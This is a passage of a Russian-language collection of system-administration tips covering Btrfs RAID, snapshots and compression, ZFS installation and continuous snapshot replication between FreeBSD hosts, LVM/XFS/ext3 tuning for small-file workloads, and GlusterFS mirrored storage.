    Размер  виртуальной файловой системы (tmpfs) писать в соответствии с свободным
    ОЗУ (в нашем примере, 20 мегабайт для /tmp и 32 мегабайт для /var). Настройки
    нужно сделать или в /etc/fstab или в /etc/rc.conf.
    
     
    ----* Использование расширенных возможностей Btrfs (доп. ссылка 1)   [комментарии]
     
    В заметке представлены примеры использования таких расширенных функций Btrfs
    как создания отказоустойчивых конфигураций, опции для обеспечения целостности
    данных, хранение данных в сжатом виде, снапшоты.
    
    Создадим тестовый раздел Btrfs на диске /dev/sdb:
    
       # mkfs.btrfs /dev/sdb
    
       adding device /dev/sdb id 2
       fs created label (null) on /dev/sdb
       nodesize 4096 leafsize 4096 sectorsize 4096 size 10.00GB
       Btrfs Btrfs v0.19
    
    
    Примонтируем созданный раздел:
    
       # mount /dev/sdb /mnt
    
    Создадим подраздел и скопируем на него тестовые файлы: 
    
       # cd /mnt
       # btrfs subvolume create MYFILES
    
       # cp myfile* /mnt/MYFILES
    
       # ls /mnt/MYFILES
       myfile1
       myfile2
       myfile3
    
    Удалим один из файлов:
    
       # rm /mnt/MYFILES/myfile2
    
       # ls /mnt/MYFILES
       myfile1
       myfile3
    
    Если файлов очень много, то удалять их командой "rm -rf" достаточно долгий и
    ресурсоёмкий процесс. В этом случае проще воспользоваться командой удаления подраздела:
    
    
       # btrfs subvolume delete MYFILES
    
    При этом важно понимать, что удалить можно только отдельно созданные
    подразделы. Подраздел, создаваемый по умолчанию при форматировании ФС, удалению
    не подлежит.
    
    
    Настройка отказоустойчивой конфигурации с зеркалированием на несколько дисков.
    
    Btrfs предоставляет достаточно гибкие средства по зерклированию данных и
    расширению доступного пространства раздела. Дополнительные диски можно
    подключить в любое время, расширив таким образом размер ФС или обеспечив
    отказоустойчивость. По умолчанию при размещении радела на нескольких дисках
    осуществляется зеркалирование метаданных на двух дисках, но сами данные
    распределяются по данным дискам без резервирования (размер ФС получается равным
    суммарному размеру дисков). Если диск один, то  две копии метаданных
    размещаются на нём.
    
    Добавим в уже созданный раздел дополнительный диск  /dev/sdc, все данные уже
    сохранённые на первом диске останутся на месте, если не выполнить операцию ребалансировки:
    
    
       # btrfs device add /dev/sdc /mnt/btrfs
    
       # btrfs filesystem show
    
       Label: none  uuid: b4f5c9a8-d8ec-4a5b-84f0-2b8c8d18b257
    	Total devices 2 FS bytes used 200.33MB
    	devid    1 size 5.00GB used 5.00GB path /dev/sdb
    	devid    2 size 5.00GB used 4.98GB path /dev/sdc
    
    
    Использование RAID 
    
    Btrfs имеет встроенную поддержку нескольких уровней RAID (RAID1, RAID5). В
    отличии от обычных программных и аппаратных RAID, Btrfs оперирует не
    формированием RAID на уровне дисков, а использует для создания логических RAID
    разделов распределение chunk-ов, определяющих дисковую область заданного
    размера (от 256 Мб). Каждый chunk может быть отзеркалирован на несколько дисков
    или склеен из частей разных дисков. При создании RAID для данных и метаданных
    могут применяться разные методы хранения, например, для метаданных и служебных
    структур всегда применяется зеркалирование.
    
    Создать RAID заданного уровня для данных и метаданных можно на этапе создания
    ФС. Например, создадим RAID1 (зеркало) из двух дисков:
    
       # mkfs.btrfs -m raid1 -d raid1 /dev/sdb /dev/sdc
    
       mkfs.btrfs -m raid1 -d raid1 /dev/sdb /dev/sdc
       adding device /dev/sdc id 2
       fs created label (null) on /dev/sdb
    	nodesize 4096 leafsize 4096 sectorsize 4096 size 10.00GB
       Btrfs Btrfs v0.19
    
    После чего подключим ещё два диска и создадим RAID10 (зеркало на двух склеенных дисках):
    
       # mkfs.btrfs -m raid10 -d raid10 /dev/sdd /dev/sde
    
       adding device /dev/sde id 2
       fs created label (null) on /dev/sdd
    	nodesize 4096 leafsize 4096 sectorsize 4096 size 10.00GB
       Btrfs Btrfs v0.19
    
    
    Опция "-m" задаёт уровень RAID для метаданных, а "-d" для данных. Например,
    можно использовать смешанные схемы:
    
    
       # mkfs.btrfs -m raid1 -d raid10 /dev/sdf /dev/sdg /dev/sdh /dev/sdi
    
    Обеспечение целостности данных.
    
    Btrfs поддерживает несколько встроенных механизмов обеспечения целостности: 
    
    * Хранение контрольных сумм для проверки блоков данных и метаданных; 
    
    * Изоляция сбоев (отдельное сохранение данных и метаданных с CRC-верификацией); 
    
    * Средства выявления повреждений и их автоматической корректировки (проверка по
    контрольным суммам осуществляется при каждом чтении блока, если выявлено
    расхождение осуществляется попытка прочитать повреждённый блок с другого диска,
    после чего осуществляется корректировка повреждённого блока);
    
    * Поддержка операции фоновой перепроверки всего содержимого ФС (вычисляются и
    сверяются контрольные суммы для всех блоков). Для запуска проверки следует выполнить:
    
       # btrfs scrub start /mnt/MYFILES
    
    * Перестроение RAID при замене или добавлении новых дисков. Отличительной
    чертой Btrfs является то, что в перестроении участвуют только занятые блоки,
    что существенно сокращает время выполнения операции.
    
    * В настоящее время в Btrfs нет встроенной возможности хранения информации в
    зашифрованном виде, но обеспечить шифрование можно путем создания ФС поверх
    шифрованных разделов, созданным при помощи подсистем dm_crypt и LUKS.
    
    Использование сжатия данных.
    
    Для оптимизации расходования дискового пространства при хранении хорошо
    сжимаемых данных можно использовать встроенные в Btrfs механизмы сжатия.
    Поддерживается сжатие методами  Lempel-Ziv-Oberhumer (LZO) или zlib (в
    разработке поддержка Snappy и LZ4). Включить сжатие можно после создания ФС, на
    этапе монтирования, при этом сжиматься будут только новые данные.
    
    Монтируем раздел с включением сжатия:
     
       # mount -o compress=lzo /dev/sdb /mnt/MYFILES
    
    Сжатие можно включить и для отдельного подраздела:
    
       # btrfs subvolume create /mnt/MYFILES/mysubvol
    
       # mount -o compress=lzo,subvol=mysubvol /dev/sdb /mnt/MYSUBVOL
    
    
    Снапшоты и клонирование.
    
    В рамках снапшота может быть сделан активный срез состояния ФС в заданный
    момент времени. В дальнейшем, используя средства миграции данный, сохранённый
    снапшот можно восстановить на другой машине. Кроме задействования
    дополнительных метаданных снапшон не приводит к дополнительному расходованию
    дискового пространства - физически хранится одна копия данных.
    
    Создадим снапшот для ранее созданных данных:
    
        # ls /mnt/MYFILES
        myfile1
        myfile2
    
        # btrfs subvolume snapshot /mnt/MYFILES /mnt/SNAPSHOT
    
        # ls /mnt/SNAPSHOT
        myfile1
        myfile2
    
    
    Для отдельных фалов можно создавать клоны, которые в отличие от копирования
    используют один набор блоков на диске:
    
        # cp --reflink /mnt/MYFILES/myfile1 /mnt/MYFILES/myfile3
    
        # ls /mnt/MYFILES
        myfile1
        myfile2
        myfile3
    
    Средства дефрагментации.
    
    Btrfs поддерживает режим автоматической фоновой дефрагментации, активируемый
    при помощи опции монтирования "-o autodefrag". Кроме того, дефрагментацию можно
    запустить вручную:
    
    
       # btrfs filesystem defrag /mnt
    
     
    ----* Создание и обслуживание разделов с файловой системой Btrfs (доп. ссылка 1)   [комментарии]
     
    Для примера создадим Btrfs-раздел размером 10 Гб, включающий в себя два диска по
    5 Гб (/dev/sdb и /dev/sdc):
    
       # mkfs.btrfs /dev/sdb /dev/sdc
    
       adding device /dev/sdc id 2
       fs created label (null) on /dev/sdb
       nodesize 4096 leafsize 4096 sectorsize 4096 size 10.00GB
    
    Для проверки, что файловая система охватывает два диска выполним:
    
       # btrfs filesystem show /dev/sdb
    
       Label: none  uuid: b4f5c9a8-d8ec-4a5b-84f0-2b8c8d18b257
       Total devices 2 FS bytes used 28.00KB
       devid    1 size 5.00GB used 1.53GB path /dev/sdb
       devid    2 size 5.00GB used 1.51GB path /dev/sdc
    
    Смонтируем созданную ФС:
    
       # mount /dev/sdb /mnt
    
    монтировать следует первое устройство /dev/sdb, при попытке дополнительно
    смонтировать /dev/sdc будет выдано предупреждение:
    
       # mount /dev/sdc /mnt
    
       mount: /dev/sdc already mounted or /mnt busy
       mount: according to mtab, /dev/sdb is already mounted on /mnt
    
    Просмотрим информацию о смонтированном разделе:
    
      # df -h /mnt
    
       Filesystem      Size  Used Avail Use% Mounted on
       /dev/sdb         10G   56K  8.0G   1% /mnt
    
       # btrfs filesystem df /mnt
    
       Data, RAID0: total=1.00GB, used=0.00
       Data: total=8.00MB, used=0.00
       System, RAID1: total=8.00MB, used=4.00KB
       System: total=4.00MB, used=0.00
       Metadata, RAID1: total=1.00GB, used=24.00KB
       Metadata: total=8.00MB, used=0.00
    
    
    Создадим подраздел с именем subbasefoo для хранения файлов и директорий:
    
       # btrfs subvolume create subbasefoo
    
       Create subvolume './subbasefoo'
    
    Поместим в данный подраздел три пустых файла foobar1, foobar2 и foobar3:
    
       # touch foobar1 foobar2 foobar3
    
    Создадим снапшот с именем subbasefoo-20120501 созданного ранее подраздела и
    проверим, что файлы в нём находятся в неизменном виде:
    
       # btrfs subvolume snapshot subbasefoo/ subbasefoo-20120501
    
       Create a snapshot of 'subbasefoo/' in './subbasefoo-20120501'
    
       # ls -R
       subbasefoo  subbasefoo-20120501
       ./subbasefoo:
       foobar1  foobar2  foobar3
       ./subbasefoo-20120501:
       foobar1  foobar2  foobar3
    
    Удалим файлы в основном подразделе и убедимся, что они сохранились в снапшоте
    (занимаемое файлами дисковое пространство освободится только после удаления снапшота).
    
    
    По сути снапшот является тем же подразделом, поэтому к нему применимы все
    команды для подразделов, в том числе создание новых  снапшотов. Для
    использования возможности восстановления состояния подраздела рекомендуется
    создавать новые снапшоты при проведении в них экспериментов - если результат
    оказался удачен, старый снапшот можно удалить, а если нет - удалить
    экспериментальный снапшот.
    
    
    Интересной особенностью является возможность клонирования файлов без
    расходования дополнительного дискового пространства на каждую копию (хранится
    только один экземпляр данных). Для подобного клонирования в процессе
    копирования утилитой cp следует использовать опцию reflink. Например клонируем
    файл rantest.tst, размером 200 Мб:
    
       # df -h .
       Filesystem      Size  Used Avail Use% Mounted on
       -                10G  201M  7.8G   3% /mnt/btrfs/subbasefoo
    
       # cp --reflink rantest.tst clonetest.tst
       # df -h .
    
       Filesystem      Size  Used Avail Use% Mounted on
       -                10G  201M  7.8G   3% /mnt/btrfs/subbasefoo
    
     
    ----* Использование ZFS в Ubuntu Linux (доп. ссылка 1)   [комментарии]
     
    Установим поддержку ZFS на Ubuntu Server и создадим RAIDZ-хранилище на базе
    двух имеющихся жестких дисков.
    
    Создадим на дисках по разделу при помощи утилиты cfdisk, для просмотра таблицы
    разделов можно использовать команду "cat /proc/partitions".
    
    Установим пакеты, необходимые для обеспечения работы ZFS:
    
       sudo apt-get update && sudo apt-get upgrade
       sudo apt-get install python-software-properties bison flex build-essential \\
       libelf-dev zlib1g-dev libc6-dev-i386 libdwarf-dev binutils-dev
    
    Подключим дополнительный PPA-репозиторий zfs-native:
    
       sudo add-apt-repository ppa:zfs-native/stable
    
    и установим из него пакеты с компонентами для поддержки ZFS:
    
       sudo apt-get update
       sudo apt-get install ubuntu-zfs
    
    Создадим zpool с именем  zfs-test и типом заркалирования RAIDZ, поместив в
    создаваемый RAID разделы на двух имеющихся дисках:
    
       sudo zpool create zfs-test raidz /dev/sdb1 /dev/sdc1
    
    Посмотрим статус созданного раздела:
    
       sudo zpool status
       sudo zfs list
       df -h
    
     
    ----* Непрерывная репликация ZFS во FreeBSD   Автор: Алексей Волков  [комментарии]
     
    Введение
    
    С самого начала появления ZFS, я записался в ряды ее поклонников, и до сих пор
    ни разу не пожалел об этом. И на страницах opennet.ru я уже успел поделиться
    приятными моментами ее использования на OS FreeBSD.
    
    Сегодня речь пойдет о возможностях непрерывной репликации ZFS между хостами FreeBSD.
    
    Цели
    
    Лично мне это стало не просто полезным, а необходимым, как только возникла
    задача использования виртуальных окружений, и в рамках одного физического
    сервера создавалась группа виртуальных серверов.
    
    Первоначальная задумка выглядела следующим образом:
    
    
    * Основной сервер виртуализации
    * Сервер горячей замены (по своим характеристикам близкий, но не идентичный основному)
    * Коммерческое ПО для виртуализации, не предполагалось, только OpenSource.
    
    Задача абсолютной бесперебойной работы не ставилась, основной критерий -
    быстрое (в пределах  5 минут) время восстановления IT сервисов в случае отказа
    основного сервера, с минимальной потерей пользовательских данных. Другими
    словами, если основной сервер выходит из строя, то все данные пользователей,
    сохраненные за несколько минут до отказа, не должны быть утеряны.
    
    Вариант с общим NAS, разделяемый между серверами виртуализации, по ряду причин,
    в том числе и финансовых, так же не рассматривался.
    
    Таким образом, данную конфигурацию можно кратко охарактеризовать, как среда
    виртуализации начального уровня с элементами отказоустойчивости.
    
    
    Средства
    
    В качестве хост системы выступает FreeBSD 8.1 с гипервизором VirtualBox OSS.
    
    Я не буду подробно останавливаться на процессе установки и настройки
    VirtualBox, скажу только то, что оба сервера и основной и резервный имеют
    идентичное ПО, а все конфигурации и образы виртуальных серверов расположены
    внутри ZFS с точкой монтирования /var/IMAGES.
    
    В таком виде, задача обеспечения отказоустойчивости сводится к синхронизации
    содержимого /var/IMAGES с основного сервера на резервный, чтобы в случае
    отказа, оставалась возможность запуска всех серверов на резервном сервере из
    актуальных образов.
    
    Очевидным является тот факт, что чем чаще происходит синхронизация, тем лучше.
    Так же очевидно что rsync, не смотря на все его прелести, не способен
    обеспечить синхронизацию заданными выше временными рамками.
    Беглый поиск выявляет упоминания о коммерческих реализациях zfs репликации а
    так же стандартных возможностях ZFS создания,  и что самое важное, обмена ими
    между хостами посредством zfs send/receive. Об этом упоминалось, в том числе и на
    страницах opennet.
    
    Именно zfs send/receive будет использован для непрерывной репликации в режиме
    близкому к реальному времени.
    
    Репликацией должен заниматься скрипт, запускаемый из cron, интервал запуска 1 минута.
    
    Скрипт запускается на резервном сервере и должен:
    
    * Создать новый снапшот на основном сервере.
    * Все снапшоты, задействованные в процессе репликации, должны иметь некую
    отличительную особенность (префикс в своем имени).
    * Выявить самый свежий общий снапшот, относительно которого, можно провести
    инкрементальную репликацию. В случае его отсутствия провести полную репликации.
    * Провести репликацию через send/receive
    * Удалить неиспользуемые снапшоты.
    * Запротоколировать все свои действия.
    
    Как видно из краткого плана мероприятий, резервному серверу придется запускать
    команды на основном. SSH замечательно справиться с этим, но нужно иметь ввиду что:
    
    * запускать через скрипт команды на удаленном сервере от имени рута ( а значит
    хранить или пароль или ключ рута) не слишком хорошая идея.
    * ZFS на FreeBSD до сих пор не дружит с ZFS Delegated Administration
    
    Учитывая эти два факта, следует завести на основном сервере на
    привилегированного пользователя и выполнять команды zfs через sudo , разрешив
    ему необходимый минимум.
    
    В файле /usr/local/etc/sudoers.d/zfs_replication определяем для пользователя следующие разрешения
    
       synczfs      ALL = NOPASSWD : /sbin/zfs snapshot *, /sbin/zfs send *,/sbin/zfs list *,/sbin/zfs destroy *
    
    А теперь непосредственно скрипт /root/zfs-nrt-replication.sh
    
       #!/bin/sh
       REMOTE_HOST="master.local"
       FS="/var/IMAGES"
       REMOTE_POOL="tank0"
       LOCAL_POOL="tank0"
       SNAPSHOTMARK="SYNC-"
    
    
       SSHKEY="/root/syncimages_id"
       SSHFLAGS="-i $SSHKEY -o CheckHostIP=no -o StrictHostKeyChecking=no \
       -o IdentitiesOnly=yes -o BatchMode=yes -o  GlobalKnownHostsFile=/dev/null -l synczfs"
       SSHCMD="/usr/bin/ssh $SSHFLAGS $REMOTE_HOST sudo "
       INCREMENTAL=""
    
       (
    
       echo "Snapshoting remote FS"
    
       $SSHCMD "zfs snapshot -r $REMOTE_POOL$FS@$SNAPSHOTMARK`uuidgen`"
    
       RECENT_COMMON_SNAPSHOT=""
    
       for R in `$SSHCMD zfs list -H -o name -s creation -t snapshot -r $REMOTE_POOL$FS | grep $REMOTE_POOL$FS@`
       do
          for L in `zfs list -H -o name -s creation -t snapshot -r $LOCAL_POOL$FS | grep $LOCAL_POOL$FS@`
          do
              if [ "${R##*@}" = "${L##*@}" ]; then
                 RECENT_COMMON_SNAPSHOT=${R##*@}
                 INCREMENTAL="-I $REMOTE_POOL$FS@$RECENT_COMMON_SNAPSHOT"
              fi
          done
          REMOTE_LATEST_SNAPSHOT=${R##*@}
       done
    
       echo "Syncronizing remote FS to local"
    
       echo "zfs send -R $INCREMENTAL $REMOTE_POOL$FS@$REMOTE_LATEST_SNAPSHOT"
    
       $SSHCMD "zfs send -R $INCREMENTAL $REMOTE_POOL$FS@$REMOTE_LATEST_SNAPSHOT" | \
       /usr/local/bin/pipemeter --autooff --blocksize 16M --interval 60 --log | zfs receive -dF $LOCAL_POOL
    
       if [ $? -eq 0 ]; then
          echo "Cleaning useless remote snapshots"
          $SSHCMD "zfs list -r -t snapshot -o name -H $REMOTE_POOL$FS  | grep \"$SNAPSHOTMARK\" | \
          egrep -v  \"@($RECENT_COMMON_SNAPSHOT|$REMOTE_LATEST_SNAPSHOT)\" | xargs -I% sudo zfs destroy %"
       fi
    
       echo "Done."
       ) 2>&1 | logger -s -p ftp.info -t SYNCZFS
    
    Сам скрипт запускается на резервном сервере из cron следующим образом
    
       */1 * * * * root  /usr/sbin/daemon -p /var/run/zfs-sync.pid -f /root/zfs-nrt-replication.sh > /dev/null
    
    Итак, на резервном сервере скрипт запускается каждую минуту, но если он еще не
    закончил свое выполнение с прошлого запуска, то попытка пропускается.  Весь
    вывод скрипта направляется в лог-файл /var/log/xferlog. Для более наглядной
    оценки скорости используется дополнительное ПО pipemeter, в результате чего
    в лог файл, с минутным интервалом, добавляется информация об объеме
    передаваемых данных, а так же скорости обмена.
    
    Дополнительно, можно настроить автоматический снапшотинг, чтобы иметь версии
    виртуальных машин различной степени давности (часовой, дневной, недельной и
    т.д.). Эти версии так же будут реплицироваться на резервный сервер.
    
    И теперь, в случае обнаружения отказа в работе основного сервера,
    администратору остается запустить виртуальную машину на резервном сервере, но и
    этот процесс так же можно автоматизировать, но это материал еще для одной
    статьи :)
    
     
    ----* Тюнинг LVM, RAID, XFS и EXT3 при интенсивной обработке мелких файлов (доп. ссылка 1)   [комментарии]
     
    Рекомендации по тюнингу некоторых системных параметров в Debian/GNU Linux для
    оптимизации работы высоконагруженных систем, производящих тысячи одновременных
    запросов к массиву из десятка миллионов мелких файлов (например, типичная
    ситуация для нагруженного почтового сервера с maildir). В итоге удалось снизить
    время ожидания процессором завершения ввода/вывода (I/O wait) для XFS с 30% до
    0.3%, а для EXT3 до 5%.
    
    Для увеличения производительности при большом числе параллельных дисковых
    операций рекомендуется использовать хранилища, подключенные через Fiber
    Channel, и использовать технологию Multipath для организации доступа к
    хранилищу, подключенному через несколько каналов (путей) ввода/вывода.
    
    Повысить производительность можно подключив несколько дисков в LVM и RAID,
    используя "striping"-режим без контроля целостности. Оптимальная
    производительность для программного RAID при обработке небольших файлов
    достигается при размере stripe-блока 4 Мб и размере chunk-а 256 Кб. Важное
    значение имеет также выравнивание файловых систем, LVM и RAID относительно
    внутренней группировки дисков в хранилище (учитываем физические параметры
    массива для логически предоставляемого хранилищем раздела).
    
    Например, имея хранилище  IBM DS 8300 из 8 дисков, подключенных по Fiber
    Channel и объединенных в RAID5, будет использовать разбиение на 8 каналов ввода/вывода:
    
       # pvcreate /dev/mapper/mpath0 
       # pvcreate /dev/mapper/mpath1
       ...
       # pvcreate /dev/mapper/mpath7
    
    
       # vgcreate --autobackup y grupo1 /dev/mapper/mpath0 /dev/mapper/mpath1 \
        /dev/mapper/mpath2 /dev/mapper/mpath3 /dev/mapper/mpath4 /dev/mapper/mpath5 \
        /dev/mapper/mpath6 /dev/mapper/mpath7
    
       # lvcreate --autobackup y --readahead auto --stripes 8 --stripesize 4096 \
         --size 1,95T --name lvstripe2 grupo1
    
    Оптимизация файловых систем:
    
    Ext3 плохо подходит для конфигурация с большим объемом параллельных запросов,
    но показывает лучшую производительность при однопоточной обработке мелких
    файлов, на производительность Ext3 также отрицательно влияет накапливающаяся со
    временем фрагментация данных. Оптимальным решением при высокой параллельной
    нагрузке и при работе с очень большими файлами является XFS, в случае
    использования нескольких Allocation Group.
    
    При использовании XFS, операции по выравниванию относительно stripe-раздела LVM
    или RAID производятся автоматически. Для Ext3 обязательно нужно рассчитывать
    смещение вручную, иначе будет наблюдаться падение производительности
    (http://busybox.net/~aldot/mkfs_stride.html http://wiki.centos.org/HowTos/Disk_Optimization)
    
    Форматирование ФС.
    
    Существенная разница в плане оптимизации состоит в том, что в ext3 используется
    только одна таблица inode, что приводит к необходимости использования очереди
    запросов. В XFS отдельная таблица inode создается для каждой Allocation Group,
    при этом каждая из групп может функционировать и изменяться параллельно, не
    влияя на другие группы.
    
    Ext3: При запуске mke2fs следует использовать опцию "-T", выбрав в качестве
    аргумента оптимальный план форматирования, приведенный в файле
    /etc/mke2fs.conf, например "mke2fs -T small".
    
    XFS: минимизируем число Allocation Group к размеру квоты на пользователей
    почтового сервера, так как при создании директорий XFS пытается создать новую
    директорию в еще не заполненной Allocation Group. C учетом того, что Linux-ядро
    поддерживает минимальный размер Allocation Group в 2^27 байт, то рассчитать
    число групп (agcount) можно по формуле: желаемый размер хранилища / (2^27)
    
    Например (4096 - размер блока, 128m - размер лога мета-данных):
       -l internal,lazy-count=1,size=128m -d agcount=399 -b size=4096
    или
       -l internal,lazy-count=1,size=128m -d agsize=268435456 -b size=4096
    
    Для поднятия производительность лог мета-данных можно перенести в отдельный
    пул, размещенный на SSD-накопителе.
    
    Если XFS необходимо оптимизировать для работы с большими файлами, то число
    Allocation Group нужно выбирать исходя из принципа - одна группа на одно ядро CPU.
    
    Оптимизация на этапе монтирования:
    
    XFS:
       noatime,nodiratime,attr2,nobarrier,logbufs=8,logbsize=256k,osyncisdsync
    
    при этом,  nobarrier указываем только для хранилищ класса High-End, а
    osyncisdsync не нужно указывать при работе СУБД.
    
    Ext3:
    
       noatime,nodiratime,async,commit=1,data=journal,reservation
    
    при этом, опция async не подходит для СУБД,  commit=1 и data=journal можно
    указать для высоконагруженных серверов. Опция reservation (предварительное
    выделение inode для содержимого создаваемых директорий) работает начиная с ядра
    2.6.13 и позволяет увеличить производительность при многопоточной записи, но
    постепенно приводит к накоплению паразитной фрагментации в ФС.
    
     
    ----* Малоизвестный, но чрезвычайно удобный способ работы со снапшотами в ZFS (доп. ссылка 1)   [комментарии]
     
    Интересный способ работы со снапшотами ZFS без использования команд zfs, причем
    метод можно использовать не только с локальной машины, но и с удаленной.
    
    Работа локально.
    
    Создаем временный ZFS пул для тестирования:
    
        jmoekamp@opensolaris1:/testpool1# zpool create -f testpool1 /export/home/jmoekamp/test
    
    Переходим в данную директорию и создаем небольшой файл для подтверждения
    работоспособности снапшотов:
    
        jmoekamp@opensolaris1:/# cd testpool1
        jmoekamp@opensolaris1:/testpool1# touch testfile1
        jmoekamp@opensolaris1:/testpool1# ls 
        testfile1
    
    Для просмотра ранее созданных снапшотов можно использовать путь .zfs/snapshot
    (снапшотов нет, директория пуста):
    
        jmoekamp@opensolaris1:/testpool1# cd /testpool1/.zfs/snapshot
        jmoekamp@opensolaris1:/testpool1/.zfs/snapshot#
    
    Но самое интересное, что через манипуляцию файлами в директории .zfs можно
    создавать, переименовывать и удалять снапшоты ! Без вызова zfs-команд, просто
    манипулируя файлами.
    
    Создадим в директории .zfs поддиректорию:
    
        jmoekamp@opensolaris1:/testpool1/.zfs/snapshot# mkdir snapshot-21042010-1
        jmoekamp@opensolaris1:/testpool1/.zfs/snapshot# zfs list -t snapshot | grep testpool1
        testpool1@snapshot-21042010-1       0      -    22K  -
    
    Как видим, автоматически был создан новый снапшот файловой системы.
    Проверить данный факт можно создав в основном дереве ZFS дополнительный файл:
    
        jmoekamp@opensolaris1:/testpool1/.zfs/snapshot# ls -l /testpool1
        total 1
        -rw-r--r-- 1 root root 0 2010-04-21 17:42 testfile1
        jmoekamp@opensolaris1:/testpool1/.zfs/snapshot# touch /testpool1/testfile2
        jmoekamp@opensolaris1:/testpool1/.zfs/snapshot# ls -l /testpool1
        total 1
        -rw-r--r-- 1 root root 0 2010-04-21 17:42 testfile1
        -rw-r--r-- 1 root root 0 2010-04-21 17:45 testfile2
        jmoekamp@opensolaris1:/testpool1/.zfs/snapshot# cd snapshot-21042010-1/
        jmoekamp@opensolaris1:/testpool1/.zfs/snapshot/snapshot-21042010-1# ls -l
        total 1
        -rw-r--r-- 1 root root 0 2010-04-21 17:42 testfile1
    
    Переименуем директорию со снапшотом при помощи обычной команды mv, при этом
    автоматически будет переименован и снапшот:
    
        jmoekamp@opensolaris1:/testpool1/.zfs/snapshot# mv snapshot-21042010-1 snapshot-21042010-1.1
        jmoekamp@opensolaris1:/testpool1/.zfs/snapshot# zfs list -t snapshot | grep testpool1
        testpool1@snapshot-21042010-1.1    19K      -    22K  -
    
    Создаем еще один снапшот:
    
        jmoekamp@opensolaris1:/testpool1/.zfs/snapshot# mkdir snapshot-21042010-2
        jmoekamp@opensolaris1:/testpool1/.zfs/snapshot# zfs list -t snapshot | grep testpool1
        testpool1@snapshot-21042010-1.1    19K      -    22K  -
        testpool1@snapshot-21042010-2        0      -    22K  -
    
    Как видно внутри уже два файла, в отличие от одного в первом примере.
    
    Для удаления снапшота достаточно удалить связанную с ним директорию:
    
        jmoekamp@opensolaris1:/testpool1/.zfs/snapshot# rmdir snapshot-21042010-1.1 
        jmoekamp@opensolaris1:/testpool1/.zfs/snapshot# ls -l
        total 2
        drwxr-xr-x 2 root root 4 2010-04-21 17:45 snapshot-21042010-2
        jmoekamp@opensolaris1:/testpool1/.zfs/snapshot# zfs list -t snapshot | grep testpool1
        testpool1@snapshot-21042010-2     18K      -    22K  -
    
    
    Удаленное управление снапшотами
    
    Для управления снапшотами с другой машины можно использовать ssh или NFS.
    
    Экспортируем ZFS-раздел по NFS:
    
        jmoekamp@opensolaris1:/testpool1/.zfs/snapshot# zfs set sharenfs=on testpool1
    
    Монтируем данный NFS раздел с другой машины (в примере используем в качестве
    имени хоста NFS-клиента hivemind):
    
        jmoekamp@hivemind:~$ pfexec mount 192.168.2.123:/testpool1 /mnt
        jmoekamp@hivemind:~$ cd /mnt
        jmoekamp@hivemind:/mnt$ cd .zfs
        jmoekamp@hivemind:/mnt/.zfs$ ls
        shares    snapshot
        jmoekamp@hivemind:/mnt/.zfs$ cd snapshot
        jmoekamp@hivemind:/mnt/.zfs/snapshot$ ls
        snapshot-21042010-2
    
    Как и в случае с локальной системой, манипуляции с поддиректориями в
    директории .zfs в примонтированном NFS-разделе приводят к манипуляции со
    снапшотами на другой машине.
    
    Предварительно предоставляем пользователю jmoekamp право создавать,
    переименовывать и удалять снапшоты на базовом сервере opensolaris1:
    
        jmoekamp@opensolaris1:/testpool1/.zfs/snapshot# zfs allow -u jmoekamp create,destroy,mount,snapshot testpool1
    
    Пробуем создать снапшот, примонтировав NFS под пользователем jmoekamp:
    
        jmoekamp@hivemind:/mnt/.zfs/snapshot$ mkdir snapshot-remote-21042010
    
    Проверяем: 
    
        jmoekamp@opensolaris1:/testpool1/.zfs/snapshot# zfs list -t snapshot | grep "testpool1"
        testpool1@snapshot-21042010-2         18K      -    22K  -
        testpool1@snapshot-remote-21042010      0      -    22K  -
    
    Пробуем переименовать:
    
        jmoekamp@hivemind:/mnt/.zfs/snapshot$ mv snapshot-remote-21042010 snapshot-remote-21042010-2
    
    Проверяем, что это не обман зрения и  все действительно работает:
    
        jmoekamp@opensolaris1:/testpool1/.zfs/snapshot# zfs list -t snapshot | grep "testpool1"
        testpool1@snapshot-21042010-2           18K      -    22K  -
        testpool1@snapshot-remote-21042010-2      0      -    22K  -
    
    Пробуем удалить снапшот:
    
        jmoekamp@hivemind:/mnt/.zfs/snapshot$ rmdir snapshot-remote-21042010-2/
    
    Проверяем на сервере:
    
        jmoekamp@opensolaris1:/testpool1/.zfs/snapshot# zfs list -t snapshot | grep "testpool1"
        testpool1@snapshot-21042010-2     18K      -    22K  -
    
     
    ----* Отказоустойчивое хранилище с автоматической репликацией на базе GlusterFS (доп. ссылка 1)   Автор: petrov.pash  [комментарии]
     
    Инструкция по создании зеркалируемого (реплицированного) между двумя машинами
    хранилища файлов на базе GlusterFS (http://www.gluster.com/) и Ubuntu 9.10.
    Добавляемый в созданное хранилище файл на первом сервере буде сразу доступен на
    втором и наоборот, при этом данные на каждой машине будут использоваться из
    локального раздела, что обеспечивает значительно более высокую
    производительность, по сравнению с NFS. С особенности кластерной файловой
    системы GlusterFS можно познакомиться на данной странице.
    
    В рассматриваемой конфигурации задействованы три машины: два сервера
    (server1.example.com/192.168.0.100, server2.example.com/192.168.0.101) и один
    клиент (client1.example.com: IP адрес 192.168.0.102). Серверы выступают в роли
    машин для экспорта дисковых разделов, доступ к отказоустойчивому хранилищу
    осуществляется на стороне клиента.
    
    В представленном примере серверы и клиент размещены на разных машинах, но в
    реальных условиях клиентские и серверные составляющие обычно совмещены  на
    одной машине. Соответствующую конфигурацию можно сгенерировать при помощи
    утилиты glusterfs-volgen.
    
    Установка серверной части GlusterFS на server1.example.com и server2.example.com:
    
    Так как GlusterFS доступен в стандартном репозитории Ubuntu 9.10, достаточно
    выполнить (сейчас и далее все действия выполняются под пользователем root):
    
       apt-get install glusterfs-server
    
    Для организации хранилища на сервере будем использовать каталог /data/export.
    
    Приводим файл конфигурации /etc/glusterfs/glusterfsd.vol на серверах в следующий вид:
    
       volume posix
        type storage/posix
        option directory /data/export
       end-volume
    
       volume locks
        type features/locks
        subvolumes posix
       end-volume
    
       volume brick
        type performance/io-threads
        option thread-count 8
        subvolumes locks
       end-volume
    
       volume server
        type protocol/server
        option transport-type tcp
        # далее через запятую нужно перечислить IP или имена хостов клиентов
        # можно использовать маски вида 192.168.*,
        option auth.addr.brick.allow 192.168.0.102 
        subvolumes brick
       end-volume
    
    Запускаем сервер GlusterFS:
    
       /etc/init.d/glusterfs-server start
    
    
    Настройка клиента GlusterFS
    
    Для установки клиентской части GlusterFS выполняем:
    
       aptitude install glusterfs-client glusterfs-server
    
    Хранилище будем монтировать в каталог /mnt/glusterfs.
    
    Приводим файл конфигурации клиента /etc/glusterfs/glusterfs.vol в следующий вид:
    
       volume remote1
        type protocol/client
        option transport-type tcp
        option remote-host 192.168.0.100 # server1.example.com
        option remote-subvolume brick
       end-volume
    
